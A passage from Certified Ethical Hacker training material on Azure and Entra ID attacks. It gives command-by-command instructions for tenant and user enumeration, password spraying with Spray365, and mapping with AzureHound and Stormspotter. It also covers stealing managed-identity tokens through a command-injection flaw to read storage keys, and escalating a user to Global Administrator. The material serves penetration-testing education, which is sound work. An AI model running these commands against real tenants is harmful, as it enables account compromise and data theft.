AADInternals is a powerful Powershell toolkit developed by Dr. Nestori Syynimaa (also known as @DrAzureAD), designed for advanced administration and security testing of Microsoft Entra ID (formerly Azure AD) and Office 365 environments. It provides a comprehensive set of tools for both administrators and security professionals.
Source: https://github.com
Installation
Install-Module AADInternals
Import-Module AADInternals
Azure Reconnaissance using AADInternals
AADInternals is a PowerShell module used for administering Azure AD and Office 365. It provides a wide range of tools for reconnaissance, exploitation, and post-exploitation tasks in an Azure AD context.
Figure 19.104: Screenshot of installed AADInternals for Azure Reconnaissance
1. Tenant Domain Reconnaissance
After installing and importing the AADInternals module into the PowerShell session, run the following command to start tenant recon of the given domain:
Invoke-AADIntReconAsOutsider -DomainName <domain name> | Format-Table
Example:
Invoke-AADIntReconAsOutsider -DomainName eccouncil.com | Format-table
This command fetches all verified domains of the tenant and extracts information such as their type.
Invoke-AADIntUserEnumerationAsOutsider -UserName [email protected]
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
Run the following command to return login information for the given user (or domain):
Get-AADIntLoginInformation -Domain <domain name>
Figure 19.106: Screenshot of Azure Reconnaissance output of login information
3. Registered Domains Enumeration
Run the following command to return all registered Domains from the tenant of the given domain:
Get-AADIntTenantDomains -Domain <domain name>
Get-AADIntTenantID -Domain company.com
Additional AADInternals Commands
| Command | Description |
Get-AADIntEndpointInstances | Returns Office 365 instances and information when the latest changes have been made |
Get-AADIntEndpointIps -Instance WorldWide | Returns Office 365 IP addresses and URLs for the given instance |
Get-AADIntTenantDetails | Returns details for the given tenant |
Get-AADIntTenantID -Domain <domain name> | Returns tenant id for given user, domain, or Access Token |
Get-AADIntKerberosDomainSyncConfig -AccessToken | Fetches tenant's Kerberos domain sync configuration using Azure AD Sync API |
Invoke-AADIntReconAsInsider | Invokes the recon as an insider |
Get-AADIntOpenIDConfiguration -Domain <domain name> | Returns the open ID configuration for given user or domain |
Get-AADIntServiceLocations | Format-Table | Shows tenant's true service locations |
Get-AADIntServicePlans | Format-Table | Returns information about tenant's service plans, such as name, id, status, and when first assigned |
Get-AADIntSubscriptions | Returns tenant's subscription details, such as name, id, number of licenses, and when created |
Get-AADIntCompanyTags -Domain <domain name> | Returns tags attached to the tenant |
Get-AADIntSyncConfiguration | Returns synchronization details |
Get-AADIntTenantAuthPolicy | Returns tenant's authorization policy, including user and guest settings |
Get-AADIntComplianceAPICookies | Returns Cookies used with compliance API functions |
Get-AADIntAzureADPolicies | Shows Azure AD policies |
Identifying Azure Services and Resources
Source: https://github.com
Identifying Azure services and resources is crucial for attackers to map the cloud environment and discover potential targets. By understanding the available services and resources, attackers can identify misconfigurations, vulnerabilities, and weaknesses to exploit. This reconnaissance phase is essential for planning further attacks such as Privilege Escalation, lateral movement, or Data Exfiltration.
Attackers can perform this by leveraging Azure's APIs or exploiting the exposed endpoints. They can also use tools such as Azure CLI and MicroBurst to automate the process of enumerating resources and services within an Azure subscription.
Steps to Enumerate Azure Services and Resources using MicroBurst
Import MicroBurst module:
Import-Module .\MicrosBurst.psm1
Create output folder:
New-Item -Name "microburst_output" -ItemType "directory"
Execute MicroBurst enumeration:
Get-AzDomainInfo -Verbose -Folder microburst-output
This command obtains the enumerated results in CSV format and text files, which are stored in a specific output folder.
Open output folder:
explorer microburst-output
This command creates an output folder called Az, which you can open and access the resources for further details.
Figure 19.108: Screenshot showing the MicroBurst output folder
Figure 19.109: Screenshot showing resources obtained from MicroBurst output folder
Figure 19.110: Screenshot showing the contents of Users.csv file
Note: To execute the commands above for enumerating Azure resources using MicroBurst, the user does not require local administrative privileges. However, appropriate Azure AD and ARM permissions are necessary to perform enumeration. The user should have at least the Reader role to gather information about the Azure resources.
Enumerating Azure Active Directory (AD) Accounts
Cloud platforms, such as Office 365, can be accessed directly from the Internet. Hence, attackers target these environments to gather as much information as possible to initiate different attacks on Azure Active Directory (AD) and Office 365. The techniques used to enumerate the Azure AD accounts are discussed below.
Account Enumeration
Azure Active Directory (AAD) users with access to Office 365 services can enumerate all user accounts and admin groups. This possibility of accessing the Office 365 service may motivate attackers to exploit and take advantage of the Azure AD to perform account enumeration. Attackers can perform Azure AD enumeration by using tools such as AzureGraph.
Source: GitHub - Azure/AzureGraph: R interface to Microsoft Graph REST API
AzureGraph is an Azure AD information-gathering tool that uses Microsoft Graphs. This tool helps attackers obtain all types of information from the Azure AD, such as users, devices, applications, and domains. It allows the attacker to query these data through the API in an easy and simple manner through a PowerShell console. Additionally, the attacker can download all the information from the target cloud and use it completely offline.
Figure 19.111: Screenshot of AzureGraph
Enumerating Azure AD Accounts
Authentication with AAD:
gr <- create_graph_login()
View all users in Azure AD tenant:
gr$list_users()
Retrieve authenticated user information:
me <- gr$get_user("username")
View user's group memberships:
head(me$list_group_memberships()
Retrieve user's owned applications:
me$list_owned_objects(type="application_name")
Attackers use password spraying to perform automated password guessing for Azure AD accounts. This method does not account for lockouts because logon attempts are performed against all user accounts simultaneously using a single password. If both on-premises and cloud accounts use the same password without an MFA, then there is a high probability that attackers will gain access to the target network through password spraying. Attackers can perform password spraying using sophisticated tools such as Spray365.
Spray365
Source: https://github.com
The Spray365 tool allows attackers to identify valid credentials for Microsoft accounts (Office 365 / Azure AD). The tool also helps attackers in generating an execution plan, spraying the execution plan, and finally, allowing them to review the results of their spraying operation.
Generate execution plan:
python spray365.py generate -d <domain_name> -u <file_containing_usernames> -pf <file_containing_passwords> -ep <execution_plan_filename> -normal
Figure 19.112: Screenshot of Spray365 generating execution plan
Spray credentials with execution plan:
python3 spray365.py spray -ep <execution_plan_filename>
Figure 19.113: Screenshot of Spray365 spraying credentials with an Execution Plan
Review spraying operation results:
python3 spray365.py review <spray_results_json_filename>
Figure 19.114: Screenshot of Spray365 used to review the spray Execution Plan
Identifying Attack Surface using Stormspotter
Source: https://github.com
Attackers use various techniques and tools to identify attack surfaces in a target Azure environment. By identifying attack surfaces, attackers can design suitable exploits to launch multiple attacks on a target environment. Attackers can use tools such as Stormspotter to identify potential attack surfaces.
Stormspotter is a tool that maps Azure and Azure Active Directory objects, helping attackers create a visual graph of the resources in an Azure subscription. This tool allows attackers to observe attack surfaces and find ways to move within the tenant.
The Stormcollector module within Stormspotter lists all the subscriptions that the provided credentials can access. To check all the options Stormcollector offers, you can use the -h switch.
Stormcollector Commands
Run Stormcollector in CLI mode:
python3 sscollector.pyz cli
Run Stormcollector using service principal:
python3 sscollector.pyz spn -t <tenant> -c <clientID> -s <clientSecret>
Where:
-t <tenant>: Specifies the Azure tenant ID-c <clientID>: Specifies the client ID of the service principal-s <clientSecret>: Specifies the client secret associated with the service principal
After authentication, an attacker can enumerate the resources, configurations, and potential security gaps within the Azure subscription that can be further exploited. The CLI mode leverages the current Azure CLI authentication, whereas the service principal mode requires specific credentials, allowing for a more flexible and targeted enumeration.
Collecting Data from AzureAD and AzureRM using AzureHound
Source: https://github.com
Attackers use AzureHound to collect information from the Azure Active Directory (Azure AD) and Azure Resource Manager (AzureRM) environments. This information can then be imported into BloodHound for better visualization. This tool offers multiple authentication methods to gather data from Azure. These may include user credentials, a JSON Web Token (JWT), a refresh token, a service principal secret, or a service principal certificate. Additionally, authentication methods can be combined with various collection scoping options to tailor the data-gathering process to meet specific needs.
Steps for Data Collection using AzureHound
Print Azure tenant data to standard output:
azure-hound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT"
Note: This can be done after authenticating to the tenant.
Print Azure tenant data to file:
azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" -o "mytenant.json"
Start data collection service for BloodHound:
azurehound configure
azurehound start
Note: Follow the prompts after executing the azurehound configure and proceed with the next command.
Accessing Publicly Exposed Blob Storage using Goblob
Source: https://github.com
Goblob is a lightweight and fast enumeration tool designed to aid in the discovery of sensitive information exposed publicly in Azure blobs. This tool helps attackers discover vulnerabilities by performing vulnerability scanning and reconnaissance.
Figure 19.117: Screenshot of Goblob tool for accessing exposed blob storage
Steps to Access Publicly Exposed Blob Storage using Goblob
Enumerate single storage account:
./goblob <storageaccountname>
The above command targets a specific Azure storage account (specified by <storageaccountname>) to enumerate and discover publicly accessible blob storage URLs. Enumerate multiple storage accounts:
./goblob -accounts accounts.txt
This command uses a file (accounts.txt) containing a list of Azure storage account names. Goblob will check each storage account listed in the file for publicly accessible blob storage URLs.
Enumerate with custom container names:
./goblob -accounts accounts.txt -containers wordlists/goblob-folder-names.txt
This command specifies a list of storage account names (accounts.txt) and custom list of container names (wordlists/goblob-folder-names.txt). Goblob will use the custom container names to construct potential blob storage URLs for each storage account.
Output results to file:
./goblob -accounts accounts.txt -containers wordlists/goblob-folder-names.txt -output results.txt
Identifying Open Network Security Groups (NSGs) in Azure
Attackers can exploit open network security groups (NSGs) in Azure to gain unauthorized network access by targeting ports that allow unrestricted traffic. When NSG rules are configured to permit inbound traffic from any IP address on commonly used ports, such as SSH (port 22), HTTP (port 80), HTTPS (port 443), or database ports (e.g., MySQL on port 3306), these services are exposed to the Internet.
Attackers can scan for open ports and exploit them, launch brute-force attacks on SSH to gain control, execute commands, exfiltrate data, or establish persistence within the network. Similarly, attackers can use open NSGs to identify and exploit vulnerabilities such as SQL injection, XSS, or RCE, leading to unauthorized access, data breaches, and further penetration into the Azure environment.
Methods to Identify Open NSGs
Using Azure Portal
Step 1: Navigate to the Azure Portal.
Step 2: In the left-hand menu, select "All services" and then search for and select "Network security groups."
Step 3: Select the network security group (NSG) you want to review from the list.
Step 4: In the NSG settings, select "Inbound security rules" or "Outbound security rules" to review the rules.
Step 5: Check for any rules that allow access from 0.0.0.0/0, indicating unrestricted traffic from any IP address.
Module 19 Page 3261
Ethical Hacking and Countermeasures Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited. Ethical Hacking and Countermeasures Cloud Computing
Exam 312-50 Certified Ethical Hacker
Using Azure CLI
View all network security groups:
az network nsg list --out table
This command displays a table with details of the NSGs, including their names, resource groups, and locations.
View specific NSG details:
az network nsg show --resource-group <ResourceGroupName> --name <NSGName>
List security rules within NSG:
az network nsg rule list --resource-group <ResourceGroupName> --nsg-name <NSGName> --output table
Review the listed security rules to identify open or overly permissive rules. Look for rules with wide ranges of allowed IP addresses and ports, especially those allowing inbound access from 0.0.0.0/0 (which means any IP address). These rules can potentially expose the network to unauthorized access.
Filter rules allowing access from any IP:
az network nsg rule list --resource-group <ResourceGroupName> --nsg-name <NSGName> --query "[?direction=='Inbound' && sourceAddressPrefix=='*']" --output table
This command queries the security rules to determine the inbound rules where the source address prefix is set to any IP address.
Exploiting Managed Identities and Azure Functions
Attackers can potentially exploit the managed identity to authenticate with any service that allows Azure AD authentication without manually managing the login details. This involves leveraging a managed identity to gain unauthorized access to resources, execute malicious code, or exfiltrate sensitive data by impersonating legitimate services.
Steps to Exploit Managed Identities and Azure Functions
Step 1: Run the following command to abuse the command-injection vulnerability on the web application (Azure Function) to access $IDENTITY_ENDPOINT by obtaining the access token and client ID for Azure authentication:
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Figure 19.118: Screenshot of Azure function showing the result of access_token
Step 2: Run the following commands to install the Azure PowerShell module and authenticate Azure using the obtained access token:
Install-Module -Name Az -Repository PSGallery -Force
Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>
Step 3: Run the following command to list the resources to which the managed identity has access:
Get-AzResource
Figure 19.119: Screenshot showing the list of all the accessible resources
Step 4: Run the following command to check whether the managed identity has permission to access the storage account keys:
Get-AzStorageAccountKey -ResourceGroupName "<resource_group>" -AccountName "<account_name>"
If it has, the command returns two keys:
Figure 19.120: Screenshot of Azure Storage showing the list of account keys
Step 5: Now, attackers can use the obtained keys to connect to the storage account through Azure Storage Explorer:
Figure 19.121: Screenshot of Azure Storage showing entering the obtained storage keys
Step 6: After connecting, attackers look for containers in the storage account.
Step 7: They can find multiple containers, including one used by the web app and another containing sensitive information (such as a flag).
Figure 19.122: Screenshot of Azure Storage showing the sensitive information
Discussed below are the steps involved in exploiting misconfigured user accounts in an Azure AD environment.
Step 1: The attacker discovers a normal user account in Azure AD using tools such as Bloodhound or AzureHound.
Step 2: The attacker runs the following command to set up the Azure AD PowerShell module and login to the Azure AD using a normal user account:
Connect-AzureAD
Step 3: The attacker executes the following commands to create a new key credential for the application and store it in the local machine:
$pwd = <password>
$path = <thumbprint>
Export-PfxCertificate -cert $path -FilePath <path_to_save_.pfx file> -Password $pwd
Step 4: The attacker uploads that self-signed certificate into the Azure AD in the certificate portion of the registered application.
Step 5: Now, the attacker runs the following commands to escalate privileges of the normal user account to Global Administrator after authenticating the Azure AD with the newly created certificate:
Connect-AzureAD -TenantId <tenant_id> -ApplicationId <app_id> -CertificateThumbPrint <thumbprint>
Add-AzureADDirectoryRoleMember -RefObjectId <normaluser_object ID> -ObjectId <Globaladmin_ID>
Step 6: After escalating privileges, the attacker opens Azure AD and verifies that the role assigned to the normal user is Global Administrator. Now, the attacker can further exploit the target Azure AD using the elevated privileges.
Note: Steps 3–5 require significant privileges, typically available only to administrators or users with high-level directory management permissions. These steps are crucial to the privilege escalation process; without these elevated privileges, commands would not succeed.